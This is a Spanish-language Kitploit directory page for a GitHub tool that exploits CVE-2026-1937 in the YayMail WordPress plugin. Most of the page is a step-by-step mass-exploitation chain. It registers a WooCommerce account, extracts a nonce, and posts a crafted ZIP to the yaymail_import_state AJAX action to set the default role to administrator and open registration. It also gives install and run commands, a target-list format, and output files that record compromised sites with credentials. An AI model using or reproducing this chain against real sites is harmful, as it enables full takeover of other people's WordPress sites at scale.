Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-1937 — YayMail <= 4.3.2 - Falta de autorización para la actualización arbitraria de opciones por parte de usuarios autenticados (Shop Manager+) a través de la acción AJAX 'yaymail_import_state' | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2026-1937
Autenticación y AutorizaciónEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubnxploited/cve-2026-1937

CVE-2026-1937

YayMail <= 4.3.2 - Falta de autorización para la actualización arbitraria de opciones por parte de usuarios autenticados (Shop Manager+) a través de la acción AJAX 'yaymail_import_state'

Ver Repositorio
14hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Typing SVG


🔴 Resumen de la Vulnerabilidad

CVE-2026-1937 — Autorización faltante → Actualización arbitraria de opciones → Escalada de privilegios

CampoDetalles
ID CVECVE-2026-1937
GravedadALTA — Puntuación CVSS v3.1: 7.2
VectorCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
InvestigadorDaniel Basta (whizzu) — NASK PIB
Publicado públicamente17 de febrero de 2026
Última actualización27 de marzo de 2026
Software afectadoYayMail – WooCommerce Email Customizer Plugin para WordPress
Versiones afectadasTodas las versiones hasta la 4.3.2 inclusive
Tipo de vulnerabilidadAutorización faltante → Actualización arbitraria no autorizada de opciones → Escalada de privilegios
Autenticación requeridaSí — nivel Shop Manager o superior
CWECWE-862: Autorización faltante

Descripción:
El plugin YayMail – WooCommerce Email Customizer para WordPress es vulnerable a la modificación no autorizada de datos que conduce a la escalada de privilegios en todas las versiones hasta la 4.3.2 inclusive. La acción AJAX yaymail_import_state está registrada sin ninguna comprobación de capacidades en el servidor, lo que permite a atacantes autenticados con acceso de nivel Shop Manager o superior invocarla libremente. Al subir un archivo ZIP de importación manipulado, el atacante puede sobrescribir silenciosamente opciones arbitrarias del sitio WordPress, incluido el establecimiento del rol predeterminado de nuevos usuarios en administrator y la habilitación del registro público abierto. Una vez inyectadas estas opciones, cualquier visitante puede registrarse por sí mismo en el sitio y recibir una cuenta completa de Administrador de WordPress, lo que resulta en un compromiso total del sitio.


🛠️ Descripción de la Herramienta

Esta es una cadena de explotación masiva de Prueba de Concepto (PoC) dirigida a instalaciones de WordPress + WooCommerce que ejecutan una versión vulnerable del plugin YayMail. La herramienta implementa un ataque completo de extremo a extremo: registro en WooCommerce → inicio de sesión → extracción del nonce de YayMail → explotación de yaymail_import_state → verificación de administrador.

🔗 Cadena de Ataque Completa

[Phase 1 — Registration]
  GET  /my-account/  →  Extract WooCommerce register nonce
  POST /my-account/  →  Register new account (WooCommerce form)
  → Save credentials to reg.txt

          ↓

[Phase 2 — Login]
  POST /wp-login.php         →  Try WordPress native login
  POST /my-account/ (WooC.)  →  Fallback WooCommerce login
  → Establish authenticated session

          ↓

[Phase 3 — Admin Pre-check]
  GET /wp-admin/  →  If already admin, skip to result

          ↓

[Phase 4 — YayMail Exploit]
  GET /wp-admin/admin.php?page=yaymail-settings
  → Extract: ajax_url + nonce

  POST /wp-admin/admin-ajax.php
  action=yaymail_import_state
  nonce=<extracted_nonce>
  import_file=yaymail_backup.zip
  → Override WordPress options:
    · default_role = administrator
    · users_can_register = 1

          ↓

[Phase 5 — Admin Verification]
  GET /wp-admin/        → Check adminmenu / wp-admin-bar
  GET /wp-admin/users.php   → Confirm manage_options access

          ↓

[Save to Nx_admin.txt]
  Format: [timestamp] https://target.com user:<u> pass:<p>

📋 Requisitos

Requisitos del Sistema

  • Python 3.8 o superior
  • Linux / Windows / macOS
  • yaymail_backup.zip — payload de importación manipulado (requerido)

Dependencias de Python

pip install requests urllib3 rich

O mediante el archivo de requisitos:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

🚀 Instalación

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937

# Install dependencies
pip install -r requirements.txt

# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .

# Run the tool
python3 CVE-2026-1937.py

⚙️ Uso

Ejecución Básica

python3 CVE-2026-1937.py

La herramienta utiliza una interfaz de terminal totalmente interactiva impulsada por Rich.


🗂️ Formato de la Lista de Objetivos

Cree un archivo de texto plano (por defecto: list.txt) — un objetivo por línea:

https://target1.com
https://target2.com
http://target3.com
target4.com

Los objetivos sin http:// o https:// reciben automáticamente el prefijo https://.


🖥️ Mensajes Interactivos

Username   [Nx_admin]:          Nx_admin
Password   [Nx_adminSA]:        Nx_adminSA
Email      [[email protected]]: [email protected]
Targets file [list.txt]:        list.txt
Threads [3]:                    5
HTTP timeout (seconds) [10]:    10

📦 Archivo Payload — yaymail_backup.zip

La explotación requiere un archivo ZIP de importación de YayMail manipulado que sobrescribe las siguientes opciones de WordPress al importarse:

Opción de WordPressValor inyectado
default_roleadministrator
users_can_register1

⚠️ La herramienta se negará a ejecutarse si yaymail_backup.zip no está presente en el directorio de trabajo.


🔬 Endpoint AJAX Vulnerable

POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip  (multipart upload)

Causa raíz:
El manejador yaymail_import_state no llama a current_user_can() ni a ninguna comprobación de capacidades equivalente antes de procesar la importación. Cualquier usuario con el rol shop_manager (o superior) puede invocar esta acción libremente y sobrescribir entradas arbitrarias de la tabla wp_options mediante el mecanismo de importación ZIP.


🔍 Páginas de WooCommerce Analizadas

La herramienta escanea automáticamente las siguientes rutas en busca de los formularios de registro e inicio de sesión:

/my-account/       /my_account/      /My-account/
/account/          /myaccount/       /customer-login/
/login/            /register/        /sss/

📁 Archivos de Salida

ArchivoDescripción
reg.txtTodos los registros exitosos de WooCommerce con sus credenciales
Nx_admin.txtTodas las escaladas a administrador confirmadas

✅ Formato de Salida

reg.txt:

[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA

Nx_admin.txt:

[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import

🖥️ Ejemplo de Salida de la Terminal

Descargar herramienta